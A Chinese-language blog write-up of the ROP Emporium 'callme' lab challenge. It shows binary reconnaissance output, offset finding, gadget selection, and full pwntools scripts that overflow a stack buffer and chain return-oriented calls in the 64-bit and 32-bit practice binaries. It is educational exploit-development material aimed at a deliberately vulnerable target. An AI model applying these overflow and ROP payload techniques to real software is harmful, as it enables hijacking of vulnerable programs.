ROP Emporium-callme

概述

ROP Emporium是一个通过一系列的挑战来学习ROP(面向返回的编程)的网站,ROP常用于PWN的场景。

本文记录的是第3个挑战callme,地址为https://ropemporium.com/challenge/callme.html

在这里插入图片描述

callme

基本信息获取

检查程序的加固措施

checksec callme

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'

查看程序中的字符串

rabin2 -z callme
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000009c8 0x004009c8 22  23   .rodata ascii callme by ROP Emporium
1   0x000009df 0x004009df 7   8    .rodata ascii x86_64\n
2   0x000009e7 0x004009e7 8   9    .rodata ascii \nExiting
3   0x000009f0 0x004009f0 34  35   .rodata ascii Hope you read the instructions...\n
4   0x00000a16 0x00400a16 10  11   .rodata ascii Thank you!

查看共享库中的函数,发现callme_three、callme_one、callme_two

rabin2 -i callme
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x004006d0 GLOBAL FUNC       puts
2   0x004006e0 GLOBAL FUNC       printf
3   0x004006f0 GLOBAL FUNC       callme_three
4   0x00400700 GLOBAL FUNC       memset
5   0x00400710 GLOBAL FUNC       read
6   0x00000000 GLOBAL FUNC       __libc_start_main
7   0x00400720 GLOBAL FUNC       callme_one
8   0x00000000 WEAK   NOTYPE     __gmon_start__
9   0x00400730 GLOBAL FUNC       setvbuf
10  0x00400740 GLOBAL FUNC       callme_two
11  0x00400750 GLOBAL FUNC       exit

使用radare2分析

使用r2解析,发现main, pwnme, usefulFunction

r2 callme
[0x00400760]> aaa
[0x00400760]> afl

在这里插入图片描述

查看main,可以看到调用了pwnme
在这里插入图片描述

查看pwnme,可以看到存在缓冲区溢出
在这里插入图片描述
查看usefulFunction
在这里插入图片描述

题目要求

要求要以callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)的形式调用callme_one()、callme_two()、callme_three()

在这里插入图片描述

获取偏移

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

在这里插入图片描述

pwndbg> cyclic -l 0x6161616b
40

获取gadget

根据指导,需要执行callme_one、callme_two、callme_three,对于64位,参数为0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d,64位通过寄存器传参,顺序为rdi、rsi、rdx、rcx、r8、r9

ROPgadget --binary callme --only 'pop|ret'
Gadgets information
============================================================
0x000000000040099c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009a0 : pop r14 ; pop r15 ; ret
0x00000000004009a2 : pop r15 ; ret
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
0x000000000040099d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006be : ret

因此0x000000000040093c合适

解题代码

from pwn import *

p = process('./callme')
elf = ELF('./callme', checksec=False)

offset = 40

ret_address = 0x000000000040093c
callme_one = elf.plt.callme_one
callme_two = elf.plt.callme_two
callme_three = elf.plt.callme_three

arguments = p64(0xdeadbeefdeadbeef) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)

payload1 = p64(ret_address) + arguments + p64(callme_one)
payload2 = p64(ret_address) + arguments + p64(callme_two)
payload3 = p64(ret_address) + arguments + p64(callme_three)

payload = 'A' * offset + payload1 + payload2 + payload3

p.sendline(payload)
success(p.recvall())

callme32

callme32的解题思想类似callme,但注意传参方式,是通过栈传参,偏移也不相同

pwndbg> cyclic -l 0x6161616c
44

对应的解题代码

from pwn import *

p = process('./callme32')
elf = ELF('./callme32', checksec=False)

offset = 44

ret_address = 0x080487f9
callme_one = elf.plt.callme_one
callme_two = elf.plt.callme_two
callme_three = elf.plt.callme_three

arguments = p32(0xdeadbeef) + p32(0xcafebabe) + p32(0xd00df00d)

payload1 = p32(callme_one) + p32(ret_address) + arguments
payload2 = p32(callme_two) + p32(ret_address) + arguments
payload3 = p32(callme_three) + p32(ret_address) + arguments

payload = 'A' * offset + payload1 + payload2 + payload3

p.sendline(payload)

success(p.recvall())
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值